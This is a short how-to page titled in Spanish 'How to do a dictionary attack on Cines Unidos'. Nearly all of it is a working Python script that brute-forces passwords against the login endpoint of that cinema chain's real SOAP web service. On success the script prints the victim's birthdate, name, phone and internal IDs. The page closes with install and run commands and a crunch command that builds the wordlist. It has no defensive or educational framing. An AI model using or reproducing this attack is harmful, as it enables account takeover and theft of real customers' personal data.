Cómo hacer un ataque por diccionario a Cines Unidos

#!/usr/local/bin/python3.7

import zeep

WS_URL = "http://ws.cinesunidos.com/blackberry.asmx?wsdl"

def get_instance():
	return zeep.Client(
		WS_URL
	)

def ws_login(username, password):
	ws = get_instance()
	
	return ws.service.Login(
		username, password
	)

def main():
	import argparse

	parser = argparse.ArgumentParser(description="Brute-force attack to ws.cinesunidos.com/blackberry.asmx")
	parser.add_argument("-u", "--username", help="The username", required=True)
	parser.add_argument("-w", "--wordlist", help="The wordlist to use", required=True, type=argparse.FileType("r", encoding="utf-8"))
	parser.add_argument("-i", "--show-user-information", help="Show user information", action="store_true")

	args = parser.parse_args()
	username = args.username
	wordlist = args.wordlist
	show_info = args.show_user_information

	for password in wordlist:
		# Remove new line
		password = password.strip()

		response = ws_login(username, password)

		if (response["Status"]):
			print(f"[+] Password found: {password}")

			if (show_info):
				user_info = response.User

				print("User information:")
				print("################")
				print("Birthdate:", f"{user_info.Birthdate}")
				print("Sex:", f"{user_info.Sex}")
				print("Login:", f"{user_info.Login}")
				print("Name:", f"{user_info.Name}")
				print("LastName:", f"{user_info.LastName}")
				print("Phone:", f"{user_info.Phone}")
				print("SecureId:", f"{user_info.SecureId}")
				print("ExternalId:", f"{user_info.ExternalId}")
			break
		else:
			print(f"[-] The '{password}' is incorrect...")

if __name__ == "__main__":
	try:
		main()
	except KeyboardInterrupt:
		pass

pip install zeep

python3.7 bruteforce.py -u [email protected] -w wordlist.lst -i

crunch 1 5 12345abc > wordlist.lst